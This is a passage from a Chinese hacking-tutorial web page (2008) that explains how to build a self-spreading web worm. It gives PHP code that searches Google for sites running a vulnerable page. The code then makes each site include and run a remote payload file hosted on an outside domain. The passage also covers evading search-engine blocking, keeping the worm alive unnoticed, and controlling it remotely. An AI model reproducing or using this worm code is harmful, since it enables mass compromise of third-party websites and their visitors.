安全中国首页 > 文章中心 > 黑客编程
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

一个Web网页下蠕虫的简单实现

更新时间:2008-4-6 0:21:17
责任编辑:池天
热 点:

三  传播

    传统的蠕虫是自己随机生成攻击目标或者扫描得到攻击目标的,但是很明显,web不可能自己实现这一点,但是搜索引擎的壮大使着变得可能。假设我们的目标系统的关键页面是Iam_vul.php这个页面,那么我们可以通过Google搜索这个已经提取好的关键字的页面,然后稍加处理就可以生成攻击目标的列表了:)当然也要考虑一些其他的因素,包括代码执行的速率,我们的这个攻击代码是会被插入到漏洞网站执行的,所以不要影响人家页面的打开速度,因为你可能不希望你的蠕虫那么快就死掉。我这里简单的考虑目标的选取和个数的确定:

<?
$random = rand(0, 30);
$random = 10*$random;                                 //随机取0-300之间的数目,我这里是作为示例:)
$query  = ’Iam_vul.php’;                              //关键字
$url = "http://www.google.com/search?q=".$query.&q ... r=&start=".$random;
if($contents=@file_get_contents($url))                //取得Google页面的返回
    {
        $pattern="|<a class=l href=[’"]?([^ ’"]+)[’" ]|U";
        @preg_match_all($pattern,$contents, $regArr, PREG_SET_ORDER);
        for($i=0;$i<@count($regArr);$i++)    {
                                            $site=@preg_replace

("/Iam_vul.php(.*)$/i",’’,$regArr[$i][1]);           //处理生成结果,可以考虑修改感染个数
                                            @file_get_contents

($site."Iam_vul.php?page=http://www.defence80.com/worm.txt"); //攻击目标网站,的确就这么简单
                                        
                                        }
    }
?>

    能不能传播时间够长可能这一步就是关键了,首先你要有精粹的攻击代码,其次要能精确的定位目标,再者因为file_get_contents函数的简单可能很容易被搜索引擎封锁,你需要用其他如fsockopen函数代替这个,为了应付环境的不确定性你需要判断函数的存在做错误处理,能做到不影响目标网站的运行而执行传播最好了!

    四  如何控制?

    精心构造好上面的数据就可以测试你的蠕虫了,但是如何控制这个放出去的恶魔呢?我们可以将包含worm.txt换成worm.php,然后简单的监视来访问的worm.php的次数就很容易控制这个蠕虫,你也随时可以更改这个代码让蠕虫做任何其他的事情。

    五  总结

    精心构造自己的代码,web蠕虫是现实的,如果你发现了某个漏洞,是公布出去让人写工具搞破坏挂马还是尝试写一个善意的蠕虫去尝试修复漏洞或者提醒管理员呢?完毕!

上一页 1 2 

 
相关文章
一日一文章
 
一日一软件
一日一动画